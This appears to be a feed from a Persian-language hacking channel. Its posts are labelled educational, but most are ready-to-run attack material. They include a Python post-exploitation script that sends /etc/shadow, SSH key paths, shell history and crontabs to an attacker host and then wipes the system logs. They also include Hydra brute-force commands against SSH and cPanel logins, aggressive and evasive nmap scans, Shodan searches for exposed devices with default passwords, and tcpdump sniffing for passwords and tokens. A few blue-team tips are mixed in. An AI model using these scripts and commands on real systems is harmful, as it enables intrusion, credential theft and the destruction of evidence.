دوره کاملا از دیشب پر شده ممنون میشم تا دوره های بعدی صبر کنین اصلا جا نیست ممنون

کسی نبود؟

کد شل معکوس بد گرفتن شل:

چیکار می‌کنه این کد؟
همه اطلاعات حیاتی مثل هش پسورد، کلید SSH، تاریخچه فرمان‌ها، کاربران، کرون‌جاب ها براتون میاد بعدش خودش همه لاگ‌ها رو پاک می‌کنه. هیچ ردی نمی‌مونه.

خوب حالا چطوریه؟
اول باید یه شنود اوکی کنید رو سیستم:

nc -lvnp 4444

تموم حالا این اسکریپت رو روی سیستم اون بدبخت بزن:

#!/usr/bin/env python3
# Silent Killer - Post-Exploitation Script
# بعد از گرفتن شل، اینو اجرا کن

import os
import subprocess
import socket
import time

ATTACKER_IP = "192.168.1.5"
ATTACKER_PORT = 4444

def exfiltrate(data):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((ATTACKER_IP, ATTACKER_PORT))
        sock.send(data.encode())
        sock.close()
    except:
        pass

def grab_all():
    # ۱. استخراج همه هش‌های پسورد
    hashes = subprocess.check_output("cat /etc/shadow 2>/dev/null || echo 'no shadow'", shell=True)
    exfiltrate(f"[SHADOW]\n{hashes.decode()}")

    # ۲. استخراج کلیدهای SSH
    ssh_keys = subprocess.check_output("find / -name 'id_rsa' -o -name 'id_dsa' 2>/dev/null | head -20", shell=True)
    exfiltrate(f"[SSH_KEYS]\n{ssh_keys.decode()}")

    # ۳. استخراج تاریخچه شل
    history = subprocess.check_output("cat ~/.bash_history 2>/dev/null || echo 'no history'", shell=True)
    exfiltrate(f"[HISTORY]\n{history.decode()}")

    # ۴. استخراج اطلاعات شبکه
    network = subprocess.check_output("ifconfig 2>/dev/null || ip addr 2>/dev/null", shell=True)
    exfiltrate(f"[NETWORK]\n{network.decode()}")

    # ۵. استخراج کاربران
    users = subprocess.check_output("cat /etc/passwd 2>/dev/null | grep '/bin/bash'", shell=True)
    exfiltrate(f"[USERS]\n{users.decode()}")

    # ۶. استخراج کرون‌جاب‌ها
    crons = subprocess.check_output("cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null", shell=True)
    exfiltrate(f"[CRONS]\n{crons.decode()}")

def wipe_logs():
    # پاک کردن ردپا
    subprocess.call("rm -rf /var/log/* 2>/dev/null", shell=True)
    subprocess.call("history -c 2>/dev/null", shell=True)
    subprocess.call("unset HISTFILE 2>/dev/null", shell=True)
    subprocess.call("rm -f ~/.bash_history 2>/dev/null", shell=True)
    exfiltrate("[+] Logs wiped")

if __name__ == "__main__":
    grab_all()
    wipe_logs()
    exfiltrate("[+] DONE - All data extracted")

فقط آی‌پی خودتون رو یادتون باشه ویرایش کنید و بزنید.

همین دیگه تمام چیز خاصی نداره. 🌷

#SHELL #آموزشی #ℳℴ𝒷𝒾𝓃

حمله به سرور SSH با Hydra (کرک پسورد)

hydra -l root -P rockyou.txt ssh://target.com

-l root یوزرنیم هدف
-P rockyou.txt لیست پسورد

بعد از چند دقیقه اگر ضعیف باشه پسوردش درمیاد البته به پسوردلیست شما و تارگت بستگی داره، مثلا تارگت روسی سعی کنید پسورد لیست روسی هم تست کنید و...

پسورد لیست دارید؟ با ری‌اکشن [👍/👎] بگید 🌷

#SSH #Hydra #آموزشی #ℳℴ𝒷𝒾𝓃

حمله به CPanel هم مثل قبلی هست:

hydra -l admin -P rockyou.txt target.com http-post-form "/login/:user=^USER^&pass=^PASS^:F=incorrect"

فقط:

فرم لاگین cPanel رو هدف بگیر
پسوردش درمیاد و کل هاست دستته

مثل قبلی پسورد لیست میخواد.

#cPanel #آموزشی #ℳℴ𝒷𝒾𝓃

اسکن آسیب‌پذیری کامل سرور

nmap -sV -sC -p- --script=vuln target.com

همه پورت‌ها رو اسکن میکنه و آسیب‌پذیری‌های شناخته‌شده رو نشون میده و اگه سرور قدیمی باشه، اکسپلویتش رو پیدا میکنی...

#nmap #آموزشی #ℳℴ𝒷𝒾𝓃

فقط بزنید کد اسکنر گاد زیر رو... 🗿
یه نسخه عالی از کد بالا است.

t=target.com; sudo nmap -sS -sV -sC -O -A -p- -T4 --min-rate=10000 --script="vuln,auth,default,discovery,exploit,brute,broadcast,dos" --script-timeout=60s --open --reason -oN /tmp/god_scan_$t.txt $t 2>/dev/null; echo "[+] OPEN PORTS:"; grep "open" /tmp/god_scan_$t.txt; echo; echo "[+] VULNERABILITIES:"; grep -iE "vulnerable|cve-|exploit|brute|weak|auth|bypass|backdoor|default password" /tmp/god_scan_$t.txt; echo; echo "[+] OS DETECTION:"; grep -iE "os:|running:|aggressive|device type" /tmp/god_scan_$t.txt; echo; echo "[+] FULL REPORT SAVED: /tmp/god_scan_$t.txt"

فقط کافیه target.com رو عوض کنی و کل خط رو بزنی تو ترمینال...

✅ همه پورت‌های باز پورت‌های باز
✅ آسیب‌پذیری‌ها (CVE ها، بک‌دورها، پسورد پیش‌فرض)
✅ سیستم‌عامل، دقیق با نسخه
✅ با گزارش کامل

#nmap #آموزشی #ℳℴ𝒷𝒾𝓃

ممنونم از اعتمادتون 🙏
خوشحالم که در کنار شما به‌عنوان ادمین فعالیت می‌کنم. امیدوارم بتونیم محتوای مفید و حرفه‌ای در زمینه هک و امنیت برای اعضای چنل ارائه بدیم. 🤝🔐
#Tyger

🛡️ Blue Team Fact

گاهی یک Login موفق، خودش نشونه‌ی حمله نیست؛
اما اگر همان Login از یک IP غیرمعمول، در ساعت غیرعادی و همراه با تغییرات مشکوک در حساب انجام شود، می‌تواند یک IOC/Signal مهم برای SOC باشد.

🎯 تحلیل‌گرهای SOC معمولاً به یک Event منفرد اکتفا نمی‌کنند؛ Correlation بین چندین Event است که تصویر واقعی حمله را می‌سازد.

#SOC #BlueTeam #CyberSecurity
#Tyger

Monospace

🌐 Whois: ثبت‌کننده دامنه، تاریخ، DNS

whois target.com

اطلاعات مفید:
- نام و ایمیل ثبت‌کننده (شاید فیشینگ)
- تاریخ ایجاد و انقضا
- Name Servers
- شماره تلفن (معمولاً مخفی با WHOIS Guard)

⚡️ ابزار آنلاین: whois.domaintools.com
⚡️ در ترمینال: whois target.com

🎯 میزبانی مشترک بودن دامنه‌ها؟ → شاید حمله به هاست!


#آموزشی #Whois
#آموزشی #Whois

Shodan: موتور جستجوی دستگاه‌های متصل

🌍 Shodan: گوگل برای دستگاه‌های IoT و سرورها!

دستورات جستجو:
port:21 city:"Tehran"
port:3389 os:"Windows"
"default password" country:IR
cisco country:IR
apache after:2024

🎯 جستجوی پیشرفته:
webcam port:554 country:IR
mysql port:3306 country:IR

🔍 Shodan برای پیدا کردن هدف‌های بالقوه عالی است

#آموزشی #Shodan

مخفی کردن خودت موقع اسکن (Stealth Mode)

nmap -sS -p- -T2 -D RND:10 --randomize-hosts --spoof-mac 0 -f target.com

پیدا کردن آسیب‌پذیری‌های خاص با یک خط

nmap --script="http-*" -p 80,443 target.com | grep -E "CVE|exploit|vulnerable|http-enum|http-title|http-headers"

گرفتن اطلاعات WHOIS و DNS با یک خط

whois target.com && dig ANY target.com +short && host -a target.com

پیدا کردن ساب‌دامین‌های مخفی

for sub in $(cat wordlist.txt); do host $sub.target.com | grep "has address" & done; wait

کرک SSH سریع با هیدرا

hydra -l root -P rockyou.txt -t 4 -w 5 ssh://target.com

شنود ترافیک شبکه با tcpdump

sudo tcpdump -i eth0 -nn -s0 -A 'port 80 or port 443' | grep -iE "password|user|token|cookie"

دور زدن فایروال با فرگمنت‌کردن

nmap -f --mtu 8 -sS -p 80,443 target.com

پیدا کردن فایل‌های حساس روی سرور

for ext in .bak .sql .zip .tar.gz .env .config; do echo "--- $ext ---"; curl -s -o /dev/null -w "%{http_code}" http://target.com/backup$ext; echo; done

تمام🗿

#nmap #Hydra #SSH #Hacking #آموزشی #ℳℴ𝒷𝒾𝓃

جمع‌آوری اطلاعات از طریق ایمیل

🩸 OSINT از ایمیل‌ها:

۱. بررسی HaveIBeenPwned (هشدار لو رفتن رمز)
۲. جستجوی Hunter.io برای ایمیل‌های سازمانی
۳. بررسی LinkedIn برای ساختار ایمیل (first.last@company.com)
۴. Sherlock: پیدا کردن حساب‌های کاربری با یک نام کاربری

🎯 ابزار: theHarvester
theHarvester -d target.com -b google,linkedin

#آموزشی #Email #OSINT

Phishing Frenzy | فریم‌ورک شبیه‌سازی فیشینگ 🎣

🔺 Phishing Frenzy یک ابزار متن‌باز برای مدیریت و اجرای کمپین‌های فیشینگ در محیط‌های تست امنیتی است.

🔺 امکان ساخت صفحات شبیه‌سازی‌شده، مدیریت کمپین‌ها و بررسی نتایج را فراهم می‌کند.

📌 مناسب برای آموزش، آگاهی‌رسانی و ارزیابی امنیت سازمان‌ها

🔗 GitHub link

#Phishing #CyberSecurity
#Tyger

چخبر رفقا

🛡️ Blue Team Fact

خیلی از حملات با یک Alert واضح شروع نمی‌شن؛
گاهی مهاجم با استفاده از ابزارهای قانونی سیستم مثل PowerShell فعالیت می‌کنه تا رفتار مخربش کمتر جلب توجه کنه.

🎯 به همین دلیل، در SOC فقط دنبال «ابزار مخرب» نیستند؛ رفتار و الگوی اجرای آن اهمیت زیادی دارد.

#SOC #BlueTeam #PowerShell #CyberSecurity #Tyger

نفر دومی که شیش بیاره وینه ی تدی میدم بهش